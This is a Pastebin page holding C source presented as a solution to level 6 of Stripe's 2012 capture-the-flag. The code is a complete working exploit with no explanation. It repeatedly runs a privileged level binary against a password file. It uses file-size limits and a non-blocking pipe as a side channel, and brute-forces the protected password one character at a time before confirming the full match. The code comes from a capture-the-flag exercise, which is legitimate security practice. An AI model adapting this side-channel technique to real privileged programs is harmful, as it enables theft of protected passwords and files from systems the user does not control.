Advertisement
Guest User

ZX2C4's Solution to Stripe's CTF Level 6

a guest
Feb 25th, 2012
529
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.90 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <fcntl.h>
  4. #include <limits.h>
  5. #include <string.h>
  6. #include <sys/resource.h>
  7. #include <sys/stat.h>
  8. #include <sys/wait.h>
  9.  
  10. int teststr(const char *str)
  11. {
  12.     int out[2];
  13.     pipe2(out, O_NONBLOCK);
  14.    
  15.     if (fork()) {
  16.         char in_out;
  17.         int status;
  18.         close(out[1]);
  19.         wait(NULL);
  20.         unlink("./tmp");
  21.         usleep(15000);  // This is way longer than it has to be
  22.                 // for the purposes of looking awesome.
  23.                 status = read(out[0], &in_out, 1);
  24.         close(out[0]);
  25.                 return status == 1;
  26.  
  27.     } else {
  28.         int file;
  29.         char buffer[1025];
  30.         struct rlimit limit;
  31.        
  32.         dup2(out[1], 1);
  33.         close(out[0]);
  34.        
  35.         file = creat("./tmp", S_IWUSR | S_IRUSR);
  36.         fcntl(file, F_SETFL, fcntl(file, F_GETFL) & ~O_NONBLOCK);
  37.         dup2(file, 2);
  38.        
  39.         getrlimit(RLIMIT_FSIZE, &limit);
  40.         limit.rlim_cur = 33 + strlen(str);
  41.         setrlimit(RLIMIT_FSIZE, &limit);
  42.        
  43.         snprintf(buffer, 1025, "%s~", str);
  44.         execl("/levels/level06", "level06", "/home/the-flag/.password", buffer, NULL);
  45.     }
  46. }
  47. int checkfull(const char *str)
  48. {
  49.     int out[2];
  50.     pipe(out);
  51.     if (fork()) {
  52.         char result[36 + strlen(str)];
  53.         memset(result, 0, sizeof(result));
  54.         close(out[1]);
  55.         wait(NULL);
  56.         read(out[0], &result, sizeof(result));
  57.         close(out[0]);
  58.         return result[sizeof(result) - 2] == 'W';
  59.     } else {
  60.         dup2(out[1], 2);
  61.         close(out[0]);
  62.         close(1);
  63.         execl("/levels/level06", "level06", "/home/the-flag/.password", str, NULL);
  64.     }  
  65. }
  66.  
  67.  
  68. int main(int argc, char *argv[])
  69. {  
  70.  
  71.     char buffer[1024];
  72.     int i;
  73.     char c;
  74.     memset(buffer, 0, 1024);
  75.     for (i = 0; i < 1024; ++i) {
  76.         for (c = 32; c < 126; ++c) {
  77.             buffer[i] = c;
  78.             printf("\r\033[2KThe password is: %s", buffer);
  79.             fflush(stdout);
  80.             if (!teststr(buffer)) {
  81.                 if (checkfull(buffer)) {
  82.                     printf("\n");
  83.                     return 0;
  84.                 }
  85.                 break;
  86.             }
  87.         }
  88.     }
  89.     printf("\r\033[2Your password is unknown.\n");
  90.     return 1;
  91. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement